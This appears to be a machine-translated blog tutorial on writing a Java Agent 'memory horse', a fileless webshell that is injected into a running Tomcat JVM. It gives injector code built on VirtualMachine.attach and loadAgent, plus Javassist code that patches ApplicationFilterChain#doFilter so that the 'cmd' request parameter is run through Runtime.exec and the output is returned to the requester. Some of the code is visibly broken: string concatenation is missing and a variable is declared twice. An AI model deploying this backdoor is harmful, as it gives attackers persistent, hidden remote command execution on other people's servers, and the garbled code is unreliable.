Introduction to Java Agent Memory Horses

0 32
I. The Principle of Pre-positioningThere are four types of memory horses: Filter...

I. The Principle of Pre-positioning

There are four types of memory horses: Filter type, Servlet type, Listener type, and Agent type

Java Agent supports two methods for loading:

  1. Implement the premain method, load at startup 
  2. Implement the agentmain method, load after startup
Introduction to Java Agent Memory Horses

Java Agent allows programmers to use agent technology to build an independent agent program from the application, which has a very wide range of applications and can assist in monitoring, running, and even replacing other programs on JVMs

VirtualMachine

Let's first understand VirtualMachine You can directly or indirectly access all other images through this interface instanceThis interface directly supports accessing global VM properties and controlling VM execution, the main methods are as follows:VirtualMachine - Java 11 Chinese Edition - API Reference Document (apiref.com), through VirtualMachine, you can find other running JVMs, if we can use this method to modify other programs, then we have achieved the injection effect

1726924388_66eec664748024619474f.png!small

Instrumentation

Using Instrumentation, developers can build an independent agent (Agent) from the application, used to monitor and assist programs running on JVM, and even replace and modify some class definitions. The main methods are as follows:Chinese description of Instrumentation package/class/method - Java 11 API Chinese Edition - Manual - Time Java (nowjava.com)

1726978629_66ef9a45bfac31c148df8.png!small?1726978629565

Javassit

See below

Java bytecode operation master: Javassist tutorial - CSDN Blog

Javassist Chinese technical document - Program Poet - Blog园 (cnblogs.com)

Javassist full parsing - rickiyang - Blog园 (cnblogs.com)

Second preMain

Loaded before JVM starts

Injection code

public class MyPremain {
        public static void premain(String agentArgs, Instrumentation inst) {
                System.out.println("MyPremain");
        }
}

Then add the artifact

1726932790_66eee736db8247eef7ed7.png!small?1726932791172

Make sure to change the main-class to premain-class in the MANIFEST.MF file when building the jar package

1726929900_66eedbec51ea272e9503f.png!small?1726929899795

This is our injected program, packaged into a jar

public class Main {
        public static void main(String[] args) {

                for (int i = 0; i < 100; i++) {
                        System.out.println("Hello World");
                        try {
                                Thread.sleep(5000);
                        } catch (InterruptedException e) {

                        }
                }
        }
}

Command line usage -javaagentTo implement loading at startup, the effect is as follows, and it can be seen that our malicious jar is executed first

1726924013_66eec4ed5f6a0f069e42a.png!small


Three: agentMain

Load after JVM starts

Let's write a malicious class first, and it is necessary to change the MANIFEST.MF file when building the jar package

1726929824_66eedba02083b5000e853.png!small?1726929823578

Manifest-Version: 1.0
Agent-Class: com.agentmain_test.myAgentMain

Since it is runtime injection, we need an injector. The injector mainly implements through VirtualMachine, VirtualMachine.list gets the list of JVM virtual machines, and then through the loadAgent method, we can load the malicious method we need to load. At this point, we can inject the jar into the running program

Firstly, we need to add the dependency of tools.jar

1726933266_66eee91237e2589804cd3.png!small?1726933266115

Injector code

public static void main(String[] args) throws IOException, AttachNotSupportedException {
                List<VirtualMachineDescriptor> list = VirtualMachine.list();
                for (VirtualMachineDescriptor virtualMachineDescriptor : list) {
                        if(virtualMachineDescriptor.displayName() == "com.agent.Main"){
                                VirtualMachine attach = VirtualMachine.attach(virtualMachineDescriptor);
                                try {
                                        attach.loadAgent("agent's jar file location");
                                } catch (AgentLoadException e) {
                                        throw new RuntimeException(e);
                                } catch (AgentInitializationException e) {
                                        throw new RuntimeException(e);
                                }
                        }
                }
        }

Start our target project and injector, injection successful

1726931494_66eee226c4ff88593fd0b.png!small?1726931494567

1726931173_66eee0e54529843b4e2e5.png!small?1726931173439

Four: Implementation of memory horse

Start tomcat to detect the feasibility of agent injection in middleware such as tomcat, and it can be seen that it can also be injected

1726980156_66efa03c1e8947dcff948.png!small?1726980155760

Modify the agent code at the same time as follows

public class myAgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException {
Class[] classes = inst.getAllLoadedClasses();
FileOutputStream fileOutputStream = new FileOutputStream(new File("classes.txt"));
for (Class aClass : classes) {
String className = aClass.getName() + " " + aClass.getDeclaredMethods().toString()+"\n";
fileOutputStream.write(className.getBytes());
}
fileOutputStream.close();
System.out.println("agentmain");
}
}

Through inst.getAllLoadedClasses, we can obtain the classes that we can modify and inject, and for finding the injected classes, two conditions must be met:

  1. This method will definitely be executed
  2. It will not affect the normal business logic

Before the user's request reaches the server, Filters and Servlets are definitely passed through, and in ApplicationFilterChain#doFilter, HttpServlet#service also encapsulate our user's request and response. If we can inject these methods, then we can directly obtain the user's request and write the execution result into the response for return1726982042_66efa79a17431ddc8a7fc.png!small?1726982041868

1726982069_66efa7b5b0de05ab93ebd.png!small?1726982069501


Improve the agentMain code so that it executes our code

public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, NotFoundException, CannotCompileException, UnmodifiableClassException, ClassNotFoundException {
                Class[] classes = inst.getAllLoadedClasses();

                for (Class aClass : classes) {
                       if (aClass.getName().equals("to_inject_class")) {
                               // Create class pool
                              ClassPool classPool = ClassPool.getDefault();
                              ClassClassPath classPath = new ClassClassPath(aClass);
                              classPool.insertClassPath(classPath);

                               CtClass ctClass = classPool.get(aClass.getName());
                               CtMethod service = ctClass.getDeclaredMethod("service");
                               service.insertBefore("Executed malicious code");
                               ctClass.detach();

                              byte[] bytecode = ctClass.toBytecode();
                               inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(aClass, bytecode)});
                       }
                }

                System.out.println("Injection successful");
}

At this point, I injected the javax.servlet.http.HttpServlet class, and the effect is as follows

1726984931_66efb2e35dee8242376d8.png!small?1726984931342

At this point, the injection has been successful

Now we modify the code to be executed and simulate a real environment

Refer to this master's dofilter code (just change the class and method for service) A Brief Introduction to Java Agent Memory Horse - Tencent Cloud Developer Community - Tencent Cloud (tencent.com)The main service here keeps reporting errors and has not been resolved, cried to death

public class myAgentMain {
        public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
                ClassPool pool = ClassPool.getDefault();
               

                CtClass ctClass = pool.get("org.apache.catalina.core.ApplicationFilterChain");
                CtMethod service = ctClass.getDeclaredMethod("doFilter");

                // Insert code to ensure all classes have been imported correctly
                String toInsert = "javax.servlet.http.HttpServletRequest req =  request;\n"
                        "java.lang.String cmd = request.getParameter("cmd");"
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +"        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}";
                service.insertBefore(toInsert);

                byte[] bytecode = ctClass.toBytecode();
                inst.redefineClasses(new ClassDefinition(ctClass.toClass(), bytecode));
                System.out.println("Injection successful");
        }
}

1726990743_66efc997b9d6b27e8bcdf.png!small?1726990743573

1726990594_66efc90299ec1799d2eda.png!small?1726990594568

It can be seen that it is also a successful injection

Five ways to use memory horse

[Original] Achieving an Indestructible Webshell without Files through "Process Injection" - rebeyond - Blog Garden (cnblogs.com)

On How to Gracefully Inject Java Agent Memory Horse (seebug.org)

你可能想看:
最后修改时间:
admin
上一篇 2025年03月30日 11:29
下一篇 2025年03月30日 11:52

评论已关闭